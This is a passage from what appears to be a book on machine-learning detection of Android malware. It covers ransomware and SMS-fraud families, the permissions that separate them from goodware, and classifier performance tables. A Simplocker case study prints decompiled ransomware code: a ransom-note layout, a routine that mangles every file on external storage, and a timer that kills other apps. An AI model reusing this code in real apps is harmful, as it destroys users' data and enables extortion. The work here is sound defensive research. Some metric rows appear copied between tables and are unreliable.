cryptolockers, combines encryption and locking ransomware.

Automatic backups can enable victims to avoid the worst effects of ran
somware. In response, modern ransomware often uses an encrypt, exfiltrate,
and leak (EEL) strategy. EEL ransomware encrypts the user’s files, exfiltrates
them to a commandandcontrol center, and threatens to leak private data if
the ransom isn’t paid. Sometimes, the attacker releases some of the data and
then escalates their ransom demands, threatening to release more data if the
increased amount isn’t paid.

As you’ll see in the next section, ransomware apps tend not to be found
on Google Play, suggesting that most make their way onto user devices through
app sideloading. This is because unofficial app stores may not have the so
phisticated security mechanisms built into Google Play. Android users may
also fall victim to malicious websites.

Android Ransomware Families
Chiffon, a wellknown Android ransomware family, was discovered in 2015
by the security company Zscaler. It makes its way onto devices when users
download what seems to be a pornographic app. Once installed, Chiffon
attempts to use the device’s camera to capture a photo of the victim. The
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photo is then presented to them as part of the ransom note, causing the vic
tim to worry that the photo will be sent to everyone in their contact list or
that their contacts will receive a message that includes a link to the pornog
raphy app.

The Jisut ransomware family was first discovered in 2014 and subse
quently generated thousands of variants. Once launched, the app would
request administrative permissions and use these to lock the device or en
crypt the user’s files. It would then announce to the user that their device
was infected and make a ransom demand. Certain versions of this malware
family also had characteristics of spyware, as they stole passwords to the
Chinese social network QQ. For a technical paper about this ransomware
family, see “An inDepth Study of the Jisut Family of Android Ransomware”
by Alejandro Martín et al.

LeakerLocker is a ransomware family that spread via bogus wallpaper
and device cleaner apps. Instead of locking the device, LeakerLocker cap
tured user data, such as personal photos, contacts, SMS messages, phone
call history, Facebook messages, visits to websites, full email messages, and
GPS information. The ransom note threatened to dump this data on the
internet, then prompted the user to pay using a credit card. McAfee first
described this malware in 2017 in a blog post titled “LeakerLocker: Mobile
Ransomware Acts Without Encryption.”

Simplocker is often considered the first crypto ransomware for Android.
Discovered in 2014 and described by Czech antimalware company ESET
on its malware database website, this ransomware family was initially por
trayed as an antivirus tool. Once downloaded, the app would encrypt files
on the device’s SD card and demand payment. While different versions of
this ransomware family have different features, some versions involve the
use of the Tor network to facilitate communications between the app and
the attacker’s commandandcontrol server.

Svpeng, which started out as a banking trojan, was discovered by
Kaspersky in 2013. In 2017, Svpeng added ransomware functionality. Po
tential victims received an email that appeared to come from the FBI. The
email claimed that the user had engaged in viewing or distributing porno
graphic content and threatened them with hefty fines and a jail term unless
they complied with the instructions in the email, which involved electroni
cally sending a prepaid MoneyPak card to the perpetrators.

Police is a family of Android ransomware similar in many ways to both
Chiffon and Svpeng. Like Chiffon, it reaches devices via a pornography app,
and like Svpeng, it masquerades as the police, accusing the user of distribut
ing pornography and threatening all kinds of legal consequences unless the
victim pays up. Similarly, SimpleLocker is a wellknown ransomware family
that infects devices when users attempt to visit a bogus pornography web
site. Once compromised, the app encrypts the contents of the victim’s SD
card, such as their documents, images, and videos, and presents a ransom
demand to the user.
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Figure 10-1: Top 20 features that best distinguish Android ransomware
from goodware
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Discovered around 2017, Anubis is hybrid malware that operates as both
a banking trojan and spyware by stealing login credentials for financial sites
such as PayPal. The ransomware module was added in 2019, to lock screens
and encrypt files.

Ransomware vs. Goodware
Figure 101 shows the 20 features that play the biggest role in separating
ransomware from goodware using the ExtraTrees classifier discussed in
Chapter 7.

As you can see, 11 of the top 20 features are related to permissions.
Note that, unlike with ABTs, SMSrelated permissions aren’t very important
for distinguishing ransomware from goodware. Let’s explore the ones that
are more helpful.

Permission-Related Features
The MOUNT_UNMOUNT_FILESYSTEMS permission is one of the most important for
classifying ransomware, as it is requested by over 40 percent of ransomware
apps but only around 5 percent of goodware. This comes as a surprise, as
the permission requires the use of a privilege escalation exploit that allows
apps to manipulate the filesystem. We aren’t aware of any Android ransom
ware containing such an exploit, so the malware wouldn’t be able to use this
permission in practice. The small number of ransomware families likely
skews the statistical distribution of this feature. Several ransomware fami
lies request dozens of permissions, including MOUNT_UNMOUNT_FILESYSTEMS, but
don’t actually use them.

We’ve described the GET_TASKS permission in previous chapters. In a nut
shell, it allows the app to see what processes are running on the device. This
permission can be used defensively too, for example to check for the pres
ence of security software on the device or to force the user to interact with
the user interface in a certain way. The Svpeng ransomware family uses this
permission to ensure that the user grants the ransomware device administra
tive permissions on the administration screen, while the Simplocker family
continuously monitors the app that is in the foreground and tries to kill it
as soon as possible if the user starts to interact with any app besides the ran
somware itself. This permission is sought about four times more frequently
by ransomware than by goodware.

The INSTALL_PACKAGES permission enables a privileged app to silently in
stall other apps. As this permission is privileged, normal apps can’t use it,
and goodware almost never requests it. Over 20 percent of ransomware
apps do, however, for reasons that are unclear. As in the case of MOUNT
_UNMOUNT_FILESYSTEMS, ransomware cannot actually use this permission, and
spotchecking ransomware samples from our library showed that most sam
ples that request INSTALL_PACKAGES also request the unprivileged and user
consented permission REQUEST_INSTALL_PACKAGES. It’s possible that ransomware
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developers request both permissions in case the app somehow ends up with
elevated privileges.

The READ_PHONE_STATE permission is requested more than twice as fre
quently by ransomware than by goodware. It enables the ransomware to ex
tract information about the user’s phone number, current calls, cell phone
provider, and more. In principle, it could enable the ransomware developer
to call the victim and speak to them over the phone.

The ACCESS_WIFI_STATE permission provides access to the Android
WifiManager to get the state of the device’s WiFi connection. We’ve seen
this permission used by ransomware apps such as Simplocker to force a
WiFi connection and ensure that the ransomware can communicate with
its commandandcontrol server. Over 80 percent of ransomware samples
request this permission, which is more than double the percentage of good
ware apps that do.

Not surprisingly, ransomware apps use the SYSTEM_ALERT_WINDOW permis
sion to place a window over the entire screen, presumably to display the
ransom demand. Importantly, the overlay window prevents the user from
operating the device. The probability of ransomware requesting this permis
sion is about four times the probability of goodware requesting it.

The READ_LOGS permission is also requested about four times as frequently
by ransomware as by goodware. We haven’t observed it used for functional
ity related to locking phones or asking for ransom, however, and suspect
that it is an artifact of the technological choices made by ransomware devel
opers. For example, several ransomware families use commercial app pro
tection tools like Tencent Legu or Qihoo 360 Jiagu to protect themselves
from reverse engineering. These protection tools use the READ_LOGS permis
sion to collect log information for crash diagnostics. Due to the small num
ber of ransomware families, technological choices made by even a few will
have an outsized impact on machine learning features.

Goodware almost never uses the KILL_BACKGROUND_PROCESSES permission,
but over 25 percent of ransomware does. This permission enables the ran
somware to kill any antivirus processes that may be running on the device.
As mentioned before, some ransomware families, like Simplocker, also try
to blanketkill all processes besides the ransomware’s, and some allow an
explicit list of system setting dialogs that the ransomware wants the user to
interact with.

Ransomware requests the RECEIVE_BOOT_COMPLETED permission almost three
times more frequently than goodware. This permission is important because
it lets ransomware start up when the user reboots the device. Once boot is
complete, the malicious app can immediately block access to the device and
show the ransom demand screen.

The RESTART_PACKAGES permission is another one that is rarely used by
goodware but is requested by over 25 percent of ransomware. We haven’t
found it used in any actual ransomware behavior, but it is sometimes used by
SDKs embedded in ransomware apps. Even that is surprising, as this permis
sion was deprecated in 2011, in Android 4.0.3 (Ice Cream Sandwich).
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Table 101 shows some of the common permissions requested by six im
portant malware families. We see that some families, like Simplocker, re
quest virtually every permission, while others are much more selective.

Table 10-1: Permissions Requested by Ransomware Families
Permission Chiffon LeakerLocker Simplocker Police Jisut SimpleLocker
MOUNT_UNMOUNT_FILESYSTEMS No No Yes No Yes No
GET_TASKS Yes No Yes No No No
INSTALL_PACKAGES No No Yes No Yes No
READ_PHONE_STATE Yes Yes Yes No No Yes
GET_PACKAGE_SIZE No No Yes No No No
ACCESS_WIFI_STATE No Yes Yes No No No
SYSTEM_ALERT_WINDOW Yes Yes Yes Yes Yes No
READ_LOGS No No Yes No No No
KILL_BACKGROUND_PROCESSES No No Yes No No No
RECEIVE_BOOT_COMPLETED Yes Yes Yes Yes Yes Yes
RESTART_PACKAGES No No Yes No No No

Some permissions, such as RECEIVE_BOOT_COMPLETED are requested by all six
of the families we’ve studied, while others, like READ_LOGS and KILL_BACKGROUND

_PROCESSES, are requested by just one app. These simple analyses show the
diversity of ransomware’s behaviors.

Other Features
Ransomware tends to make more calls to org.apache.conn and org.apache.conn

.scheme than goodware, perhaps so it can maintain connections between the
compromised device and the malware developers’ commandandcontrol
server. Since ransomware apps on Android are rare and the number of iden
tified families small, the use of Apache libraries by even a few of them makes
the prediction power of features involving those calls relatively high, explain
ing these observations.

Our analysis also indicates that ransomware apps seem to make fewer
calls to various Android API packages than goodware does. Ransomware
apps tend to be small APKs that focus on their core business, and unlike
legitimate apps, they need to use only a few Android API packages to
achieve their goal.

Prediction Efficacy
Table 102 shows the performance of selected machine learning classifiers
at separating ransomware from goodware, given different sets of features.
The first column lists the types of features used in the prediction, including
basic API, static, and dynamic features as well as advanced features derived
from TSGs, landmarks, feature clustering, and correlation graphs. We also
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show combinations of these types. The second column shows the best clas
sification approach using the set of features in a given row, and subsequent
columns show various predictive performance metrics.

Table 10-2: Metrics for Evaluating Android Ransomware vs. Goodware
Feature set Best classifier AUC Precision Recall F1 FPR FNR
API package XGBoost 0.8979 0.8670 0.7926 0.8282 0.1330 0.1918
Static (S) XGBoost 0.8982 0.8570 0.7836 0.8187 0.1430 0.2009
Dynamic (D) MLP 0.8082 0.7806 0.6359 0.7009 0.2194 0.3094
S + D RF 0.9100 0.8498 0.8106 0.8297 0.1502 0.1822
API + S + D GBDT 0.9168 0.8635 0.8285 0.8456 0.1365 0.1659
TSG XGBoost 0.8231 0.7353 0.7540 0.7445 0.2647 0.2541
LM RF 0.7947 0.7409 0.6350 0.6839 0.2591 0.3217
FC SVM 0.6571 0.9262 0.3189 0.4745 0.0738 0.4135
CG RF 0.6229 0.6022 0.4194 0.4944 0.3978 0.4477
API + S + D + TSG GBDT 0.9457 0.8845 0.8803 0.8824 0.1155 0.1199
API + S + D + LM GBDT 0.9431 0.8789 0.8822 0.8805 0.1211 0.1190
API + S + D + FC RF 0.9439 0.8789 0.8756 0.8772 0.1211 0.1248
API + S + D + CG XGBoost 0.9447 0.8794 0.8794 0.8794 0.1206 0.1214
All features XGBoost 0.9243 0.8470 0.9329 0.8879 0.1530 0.0604
Best late fusion XGBoost 0.9653 0.9197 0.9649 0.9418 0.0803 0.0458

As you can see, the machine learning approaches described in this book
can achieve a precision of almost 92 percent and a recall exceeding 96 per
cent, which are excellent performance numbers.

Ransomware vs. Other Malware
Figure 102 shows the 20 most important features for distinguishing ran
somware from other forms of malware.

Permissions play the largest role here, so we’ll focus on those. Ransom
ware also seems to make more calls to android.security, android.content.pm,
and android.database than other malware categories, but these differences
are quite small. Similarly, we see once again that ransomware makes more
calls to the functions org.apache.http.conn, org.apache.http.conn.schema, and
org.apache.http.params compared to other malware.

Permission-Related Features
You should immediately notice that other malware requests the SMSrelated
permissions SEND_SMS, RECEIVE_SMS, and WRITE_SMS more frequently than ran
somware. This is not surprising, because other forms of malware use those
permissions for tasks like intercepting twofactor authentication messages,
which ransomware doesn’t need to do.
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Figure 10-2: Top 20 features that best distinguish Android ransomware
from other malware
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On the other hand, ransomware is more likely than other forms of mal
ware to request the RESTART_PACKAGES and READ_LOGS permissions, both of which
were described in the previous section. Another permission that is far more
frequently requested by ransomware apps than by other forms of malware is
DIAGNOSTIC, which allows apps to read and write to diagnostic resources. Yet
because this permission is privileged, unprivileged applications can’t use it,
including all current ransomware families we are aware of.

Prediction Efficacy
Table 103 shows how effective machine learning algorithms are at separat
ing ransomware from other forms of malware.

Table 10-3: Android Ransomware and Other Malware Classification
Feature set Best classifier AUC Precision Recall F1 FPR FNR
API package XGBoost 0.8075 0.8135 0.7921 0.8027 0.1865 0.2043
Static (S XGBoost 0.7739 0.7652 0.7926 0.7787 0.2348 0.2165
Dynamic (D) RF 0.6756 0.6395 0.6739 0.6563 0.3605 0.3470
S + D GBDT 0.7949 0.7977 0.7827 0.7901 0.2023 0.2151
API + S + D GBDT 0.8209 0.8088 0.8172 0.8129 0.1912 0.1856
TSG RF 0.7097 0.7110 0.7097 0.7104 0.2890 0.2917
LM RF 0.7443 0.7611 0.5992 0.6705 0.2389 0.3328
FC SVM 0.5459 0.5222 0.6211 0.5674 0.4778 0.4713
CG RF 0.7443 0.7611 0.5992 0.6705 0.2389 0.3328
API + S + D + TSG GBDT 0.9180 0.8619 0.8351 0.8483 0.1381 0.1610
API + S + D + LM XGBoost 0.8718 0.8385 0.7667 0.8010 0.1615 0.2166
API + S + D + FC GBDT 0.8791 0.8388 0.7653 0.8004 0.1612 0.2171
API + S + D + CG GBDT 0.8983 0.8688 0.7912 0.8282 0.1312 0.1932
All features XGBoost 0.9168 0.8635 0.8285 0.8456 0.1365 0.1659
Best late fusion XGBoost 0.8593 0.8718 0.9497 0.9091 0.1282 0.2545

The precision and recall are lower in this case, at just over 87 percent
and about 95 percent, respectively. It isn’t surprising that separating ran
somware from other malware is harder than separating ransomware from
goodware, as ransomware often has more in common with other malware
categories than with goodware.
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Simplocker: A Case Study
In this section, we explore the Simplocker ransomware app qok.wrrgz.xcfwc
(v1, a10b). This app requests an extensive list of permissions, too long to
show here. The motivation for requesting so many permissions is unclear,
as code analysis of the sample shows that the vast majority aren’t actually
used. This behavior matches what we found when analyzing the machine
learning results discussed earlier in this chapter: it seems that ransomware
often requests permissions that it doesn’t or cannot use.

Let’s see how the app achieves its malicious behavior. Listing 101 shows
the dialog definition code used by Simplocker to craft its ransom note.

<?xml version="1.0" encoding="utf-8"?>

...

<TextView android:textAppearance="?android:attr/textAppearanceMedium"

android:textSize="16sp" android:textColor="#ffffffff" android:id="@+id/textView1"

android:layout_width="match_parent" android:layout_height="wrap_content"

android:layout_marginLeft="10dp" android:layout_marginTop="10dp" android:layout_

marginRight="10dp" android:layout_marginBottom="10dp" android:text="To unlock your

device and to avoid other legal consequences, you are obligated to pay a release fee

of $300. Payable through GreenDot MoneyPak (you have to purchase MoneyPak card. load

it with $300 and enter the code). You can buy the card at any store or gas station,

payzone or paypoint."/>

</LinearLayout>

...

<TextView android:textSize="20sp" android:textColor="#ffffffff"

android:gravity=

"center" android:id="@+id/textView2" android:padding="15dp" android:layout_width=

"wrap_content" android:layout_height="wrap_content" android:text="Wrong MoneyPack code.

You have only 3 attempts. Please try again"/>

</LinearLayout>

...

<EditText android:id="@+id/et_number" android:layout_width=

"match_parent" android:layout_height="wrap_content" android:layout_marginLeft="30dp"

android:layout_marginRight="30dp" android:hint="Enter $300 MoneyPak code"

android:ems="10" android:maxLength="14" android:inputType="number"/>

<LinearLayout android:gravity="center" android:layout_width=

"match_parent" android:layout_height="wrap_content">

...

<TextView android:textSize="30sp" android:textColor="#ffffffff"

android:gravity="center" android:id="@+id/textView3" android:padding="20dp"

android:layout_width="match_parent" android:layout_height="wrap_content"

android:text="Your request will be processed within 24 hours"/>

</LinearLayout>

Listing 10-1: Code used to display the ransom note in Simplocker
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This code includes the following text, which provides a clear indication
that we’re dealing with ransomware:

To unlock your device and to avoid other legal consequences, you
are obligated to pay a release fee of $300. Payable through Green
Dot MoneyPak (you have to purchase MoneyPak card. load it with
$300 and enter the code). You can buy the card at any store or gas
station, payzone or paypoint.

Next, Listing 102 shows the code that Simplocker uses to encrypt files.
The encryption is exceptionally simple. For every file to which the ransom
ware can write in external storage (see encryptAll), it increases the byte values
of all bytes in the file by 1 (see goToDir).

public static void goToDir(File file, boolean z) {

Log.v("CRYPT", file.getAbsolutePath());

if (z) {

try {

byte[] readBytes = readBytes(

String.valueOf(String.valueOf(file.getAbsolutePath().substring(

0, file.getAbsolutePath().lastIndexOf("/"))) + "/" + file.getName()));

byte[] bArr = new byte[readBytes.length];

for (int i = 0; i < readBytes.length; i++) {

bArr[i] = (byte) (readBytes[i] + 1);

}

BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(

new FileOutputStream(new File(file.getAbsolutePath())));

bufferedOutputStream.write(bArr);

bufferedOutputStream.flush();

bufferedOutputStream.close();

} catch (Throwable th) {

File[] listFiles = new File(file.getAbsolutePath()).listFiles();

for (File goToDir : listFiles) {

goToDir(goToDir, z);

}

}

} else {

byte[] readBytes2 = readBytes(

String.valueOf(String.valueOf(file.getAbsolutePath().substring(

0, file.getAbsolutePath().lastIndexOf("/"))) + "/" + file.getName()));

byte[] bArr2 = new byte[readBytes2.length];

for (int i2 = 0; i2 < readBytes2.length; i2++) {

bArr2[i2] = (byte) (readBytes2[i2] - 1);

}

BufferedOutputStream bufferedOutputStream2 = new BufferedOutputStream(

new FileOutputStream(new File(file.getAbsolutePath())));

bufferedOutputStream2.write(bArr2);

bufferedOutputStream2.flush();

bufferedOutputStream2.close();
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}

}

public void encryptAll() {

File[] listFiles = new File(

String.valueOf(Environment.getExternalStorageDirectory())).listFiles();

for (File goToDir : listFiles) {

goToDir(goToDir, true);

}

}

Listing 10-2: Code used to encrypt files in Simplocker

This encryption is trivial to break, but it’s enough to completely mangle
all file contents from the point of view of inexperienced users. Note that we
can find the decryption functionality in the same function. The presence of
the Boolean flag z passed to goToDir determines whether the function per
forms encryption or decryption.

Listing 103 shows a snippet of the code used to kill relevant processes
and time the locking mechanism.

/* compiled from: BackgroundService */

public class Hans5 extends Service {

public static Hans5 Activity = null;

public static Timer LockerExecutor = null;

public static PowerManager.WakeLock wakeLock;

public static void BringToFront(Context context) {

try {

Intent intent = new Intent(context.getApplicationContext(), Hans2.class);

intent.setFlags(272629760);

context.startActivity(intent);

} catch (Throwable th) {

th.printStackTrace();

}

}

private TimerTask LockerTimer() {

return new TimerTask() {

public void run() {

try {

if (Hans2.Activity != null && !Hans2.STOP &&

((PowerManager) Hans2.Activity.getSystemService("power")).isScreenOn()) {

ActivityManager activityManager =

(ActivityManager) Hans2.Activity.getSystemService("activity");

List<ActivityManager.RunningTaskInfo> runningTasks =

activityManager.getRunningTasks(1);

ComponentName componentName = runningTasks.get(0).topActivity;

String packageName = componentName.getPackageName();
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if (!packageName.equals("qok.wrrgz.xcfwc") &&

!packageName.equals("com.android.settings")) {

Process.killProcess(runningTasks.get(0).id);

Hans2.Activity.finishActivity(runningTasks.get(0).id);

activityManager.killBackgroundProcesses(

componentName.getPackageName());

Hans5.BringToFront(Hans2.Activity.getApplicationContext());

}

}

if (Hans5.Activity == null) {

Intent intent = new Intent();

intent.setAction("qok.wrrgz.xcfwc.Hans5");

Hans5.this.getApplicationContext().startService(intent);

}

} catch (Throwable th) {

th.printStackTrace();

}

}

};

}

public void onStart(Intent intent, int i) {

Activity = this;

wakeLock = ((PowerManager) getSystemService("power")).newWakeLock(1, "locker");

wakeLock.acquire();

startTimer(LockerExecutor, LockerTimer(), 0, 10);

super.onStart(intent, i);

}

...

}

Listing 10-3: Code used to kill processes

The ransomware sets up a repeating timer through Timer.scheduleAtFixed

Rate. As a result, every 10 ms, the ransomware checks which app the user is
currently interacting with and kills it if it’s not the ransomware itself or the
Settings app. Why the ransomware allowlists the Settings app is unclear.

Predictions for Important Ransomware Samples
Table 104 shows how well our machine learning classifiers performed when
presented with the ransomware samples we discussed in this chapter.
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Table 10-4: Performance of Machine Learning Classifiers on
Ransomware Families
Ransomware Distinguished from

goodware
Distinguished from
other malware

Chiffon Yes Yes
LeakerLocker Yes Yes
Simplocker Yes Yes
Svpeng Yes No
Police Yes Yes
Jisut Yes Yes
Anubis Yes No
SimpleLocker Yes Yes

We see that in all cases the machine learning classifiers are able to
correctly identify the samples as ransomware rather than goodware, and
in six out of eight cases they are able to correctly identify the type of mal
ware, despite some of the samples sharing characteristics with other mal
ware categories.

Up Next
Ransomware incidents aren’t nearly as common on the Android platform
as on Windows, where most ransomware incidents take place. In this chap
ter, we’ve shown that permissions are once again the key features useful for
distinguishing ransomware from goodware, though the permissions used
by different ransomware samples can vary widely. In the next chapter, we’ll
examine a form of malware that’s much more common on Android: SMS
fraud.
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11
SMS FRAUD

Imagine that a TV program asks viewers to
contribute $25 to a relief organization by

texting a code to a designated phone num
ber. If you send such a code, the charge will

be added to your phone bill, then transferred to the
charitable organization. You’ll find SMS messages like
these used for a number of legitimate purposes, such
as to respond to a political poll or guess the winner of
a football game.

Often, however, malicious apps can send codes to premium services
without the user’s consent. The victim won’t know that this is happening
until they receive their phone bill at the end of the month and discover the
mysterious charges. We refer to this type of abuse as SMS fraud. SMS fraud
malware focuses on making unauthorized charges to the user’s account but
doesn’t include other malicious activity that relies on text messages, such as
spyware or banking trojan behavior.

In this chapter, we use the ExtraTrees classifier to evaluate the fea
tures useful for detecting Android SMS fraud apps. Chapter 2 introduced
numerous such families, including BeeKeeper, Camera, Joker, RuFraud,
RuPlay, Taicliphot, Wallpaper, and WallySMS. Additionally, our tests



included Moundial, a smaller SMS fraud family previously unknown to the
public that targeted Spanish Android users around 2014.

SMS Fraud vs. Goodware
If you take a look at the 20 most significant features for separating Android
goodware from apps engaging in SMS fraud (Figure 111), you should notice
something interesting: although 11 of these features are permissionrelated,
none involve SMS permissions. Perhaps this is because various legitimate
apps might use such permissions to, for example, allow messaging from
within the app. We’ll discuss other possibilities in “The Absence of SMS
Permissions” on page 270.

Like ransomware and rooting malware, SMS fraud apps invoke the
org.apache.http.com.scheme and org.apache.http.com APIs more often than
goodware. On the other hand, goodware generally makes more calls to many
Android APIs, such as android.content.res, android.view, android.media.session,
android.view.accessibility, and android.os. The one exception is the WiFi
API (android.net.wifi), which provides classes for WiFi connectivity. We are
not sure why SMS fraud apps use this more than goodware. It may simply be
an artifact of previous malware developed by the same developers.

Non-SMS Permissions
We’ve described many of the significant permissions in previous chapters.
Some of these don’t appear to serve any purpose. For example, MOUNT_UNMOUNT
_FILESYSTEMS and INSTALL_PACKAGES are privileged permissions, and SMS fraud
apps tend to declare these but never use them. These apps may also request
the READ_LOGS permission, though this permission doesn’t enable malicious
functionality for unprivileged applications.

Other permissions can enable an app to perform tasks common to many
forms of malware. For example, the KILL_BACKGROUND_PROCESSES and RESTART

_PACKAGES permissions, the latter of which was deprecated in Android 4.0.3
(Ice Cream Sandwich), may be used to kill undesirable processes as part of
a defense strategy. Also, the RECEIVE_BOOT_COMPLETED permission provides the
easiest way for malware to persist by automatically restarting after a phone
reboot.

The remaining permissions have clear uses specific to SMS fraud. The
READ_PHONE_STATE permission allows the app to read configuration settings
for the phone’s telephony stack, for example to find out the device’s phone
number or mobile carrier. As premium short codes are carrierspecific, mal
ware needs this information to target the right mobile carrier. We see that
the probability of this permission being requested by apps engaged in SMS
fraud is over 80 percent, more than double the probability of goodware re
questing it.
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Figure 11-1: Top 20 features that best distinguish Android SMS fraud malware
from goodware using the Extra-Trees classifier
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In Chapter 10, we noted that apps can use the ACCESS_WIFI_STATE permis
sion to access the Android WifiManager and get the state of the device’s WiFi
connection. SMS fraud happens over the telephony stack rather than the
WiFi stack; even so, multiple SMS fraud families attempt to understand
the device’s WiFi state. This may be because these apps want to have the
WiFi stack as a backup option. The probability of this permission being re
quested by SMS fraud apps is almost exactly twice that of its being requested
by goodware.

Apps use the GET_TASKS permission to identify the processes running
on the device. Almost 70 percent of apps engaging in SMS fraud request
this permission, compared to less than than 20 percent of goodware. Mali
cious apps may seek this permission for a number of reasons, such as to see
whether there is an antivirus engine running.

The SYSTEM_ALERT_WINDOW permission is used to display notification win
dows, presumably to inform the user of legitimate issues. However, SMS
fraud apps may use this capability to obscure the screen. For instance, if the
compromised device’s mobile carrier sends a request to authenticate a po
tential SMS fraud transaction, this permission may enable the malware to
obscure the window while it responds to the incoming text. The probabil
ity of SMS fraud apps requesting this permission is four to five times higher
than the probability of goodware doing so.

The Absence of SMS Permissions
The absence of SMSrelated permissions in the top 20 features list may have
surprised you. Surely, an SMS fraud app needs to write and send SMS mes
sages in order to carry out its malicious work. If we look at the top 50 fea
tures, we’ll find the WRITE_SMS permission in position 33, suggesting that this
permission is indeed somewhat important for distinguishing SMS fraud
apps from goodware.

Still, the scarcity of other SMSrelated permissions is puzzling. Because
different classifiers identify the important features in different ways, we
therefore checked whether other classifiers would consider these permis
sions more relevant. Figure 112 shows the top 20 features generated by the
random forest classifier.

As you can see, this classifier uses very different features from the Extra
Trees classifier to separate goodware from SMS fraud apps. In fact, it ranks
SEND_SMS as the most important feature! The probability of apps engaging
in SMS fraud requesting this permission is over eight times that of good
ware requesting it, according to this model. The RECEIVE_SMS, WRITE_SMS, and
READ_SMS permissions all also appear in the list of top 20 features, with SMS
fraud apps requesting all of them far more frequently than goodware.

We also looked at the top features suggested by the XGBoost classifier,
shown in Figure 113. Here too, we saw a different set of features identified
as important, and SEND_SMS and RECEIVE_SMS appear in the top 20.
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Figure 11-2: Top 20 features that best distinguish Android SMS fraud malware
from goodware using the random forest classifier
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Figure 11-3: Top 20 features that best distinguish Android SMS fraud malware
from goodware using the XGBoost classifier
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As these results indicate, different machine learning methods may iden
tify different features as being the most important. For example, one method
might consider every feature from the total set of features and measure the
value of each by calculating the drop in predictive performance of a machine
learning algorithm when that feature is removed. The greater the drop, the
more important the feature is. Other methods might use wellknown statis
tical models, such as mutual information or principal component analysis
(PCA). In addition to the statistical methods used, the design and structure
of the classifiers themselves influence the identification of different sets of
prominent features.

Lastly, we constructed a decision tree for separating SMS fraud apps
from goodware. You can see the first three levels of the decision tree in
Figure 114.

android.content.res <= 82.0
gini = 0.444

samples = 4244
value = [2832, 1412]
class = Goodware

org.apache.http.conn.scheme <= 5.5
gini = 0.065

samples = 2653
value = [2564, 89]
class = Goodware

permission:SEND_SMS <= 0.5
gini = 0.28

samples = 1591
value = [268, 1323]
class = SMS-Fraud

android.text <= 296.5
gini = 0.004

samples = 1108
value = [2, 1106]

class = SMS-Fraud

org.apache.http.conn <= 1.5
gini = 0.495

samples = 483
value = [266, 217]
class = Goodware

gini = 0.0
samples = 43
value = [0, 43]

class = SMS-Fraud

org.apache.http.conn <= 7.0
gini = 0.035

samples = 2610
value = [2564, 46]
class = Goodware

permission:GET_TASKS <= 0.5
gini = 0.147

samples = 289
value = [266, 23]

class = Goodware

android.bluetooth <= 94.0
gini = 0.002

samples = 1107
value = [1, 1106]

class = SMS-Fraud

android.animation <= 18.0
gini = 0.32

samples = 10
value = [2, 8]

class = SMS-Fraud

java.util.concurrent <= 19.5
gini = 0.029

samples = 2600
value = [2562, 38]
class = Goodware

gini = 0.0
samples = 194
value = [0, 194]

class = SMS-Fraud

gini = 0.0
samples = 1
value = [1, 0]

class = Goodware

Good_vs_SMS_fraud_DT_depth_3

Figure 11-4: A decision tree with a depth of three for distinguishing Android SMS fraud malware from goodware

This decision tree branches to the left child of a node when the con
dition stated in the node is true; otherwise, it branches to the right. The
SEND_SMS permission is at level two in the tree, immediately below the root,
attesting to the importance that this type of classifier places on it.

The right child of this node checks the number of times that classes
in the android.content.res package are called in an app’s source code. This
package contains classes used to access various files and media, as well as
parameters that configure the device. If the number of calls is smaller than
or equal to 82.0 and the app requests the SEND_SMS permission, then there is
a probability of 1106/1108 (almost 100 percent) of the app being an SMS
fraud app.

Interestingly, two other branches in this decision tree do not depend
at all on the SEND_SMS permission being used, which may explain why the
initial set of top 20 features generated by the ExtraTrees classifier didn’t
identify any SMSrelated permissions. One of the paths checks the follow
ing: that there are fewer than 82 calls to classes in the android.content.res
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package, that the app does not request the SEND_SMS permission, and that
there are more than 1.5 calls to classes in org.apache.http.conn.scheme. If all
of these conditions are met, there is a 100 percent probability of the app be
ing SMS fraud malware. The other path checks whether there are more than
82 calls to classes in android.content.res and more than 5.5 calls to classes in
org.apache.http.conn.scheme, which also results in a 100 percent probability of
the app being SMS fraud.

The results described in this section teach us a valuable lesson about
machine learning for malware analysis: be sure to look at different classifiers
for clues about what to examine manually in the code. Looking at the results
generated by just one classifier, even one with high performance, may lead
to skewed inferences about the importance of particular app elements.

Prediction Efficacy
Table 111 shows the performance of various machine learning classifiers at
predicting whether an app is engaged in SMS fraud or is goodware, given
different sets and combinations of basic and advanced features.

Table 11-1: Evaluation of Android SMS Fraud Malware vs. Goodware
Feature set Best classifier AUC Precision Recall F1 FPR FNR
API package GBDT 0.9862 0.9483 0.9161 0.9319 0.0517 0.0293
Static (S RF 0.9792 0.9780 0.9208 0.9485 0.0220 0.0275
Dynamic (S) MLP 0.9056 0.8972 0.5759 0.7015 0.1028 0.1332
S + D XGBoost 0.9810 0.9819 0.9208 0.9504 0.0181 0.0274
API + S + D XGBoost 0.9975 0.9837 0.9642 0.9738 0.0163 0.0126
TSG XGBoost 0.9872 0.9463 0.9142 0.9300 0.0537 0.0300
LM RF 0.8737 0.6654 0.6748 0.6701 0.3346 0.1157
FC SVM 0.8833 0.9127 0.5024 0.6480 0.0873 0.1519
CG RF 0.8519 0.9000 0.6532 0.7570 0.1000 0.1119
API + S + D + TSG XGBoost 0.9457 0.8845 0.8803 0.8824 0.1155 0.1199
API + S + D + LM RF 0.9975 0.9827 0.9661 0.9743 0.0173 0.0119
API + S + D + FC GBDT 0.9974 0.9837 0.9651 0.9743 0.0163 0.0123
API + S + D + CG XGBoost 0.9975 0.9827 0.9642 0.9734 0.0173 0.0126
All features XGBoost 0.9974 0.9827 0.9642 0.9734 0.0173 0.0126
Best late fusion XGBoost 0.9973 0.9809 0.9670 0.9739 0.0191 0.0116

As these results show, using the late fusion approach, machine learning
techniques are able to generate excellent results, with a precision of over
98 percent and a recall of over 96 percent.
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SMS Fraud vs. Other Malware
Figure 115 shows the 20 most important features for distinguishing SMS
fraud apps from other forms of malware, according to the ExtraTrees
classifier. As you can see, SMSrelated permissions play an important role
here, so we’ll focus on those.

Permission-Related Features
Although the ExtraTrees classifier does not rely on SMSrelated permissions
for distinguishing SMS fraud malware from goodware, it does find them
useful for distinguishing this type of malware from other forms. Around
70 percent of SMS fraud apps seek the SEND_SMS, READ_SMS, and RECEIVE_SMS

permissions, compared to less than 20 percent of other malware. Likewise,
50 percent of SMS fraud apps seek the WRITE_SMS permission, compared to
about 20 percent of other malware. You might be wondering why some SMS
fraud apps don’t need these permissions. The reason is that certain of these
apps trick the user into sending premium SMS messages themselves. This
doesn’t require the SEND_SMS permission; the app opens the default SMS app
and hopes that the user will click the Send button on their own.

On a related note, we see that SMS fraud apps are more than twice as
likely as other types of malware to request the CALL_PHONE permission (over
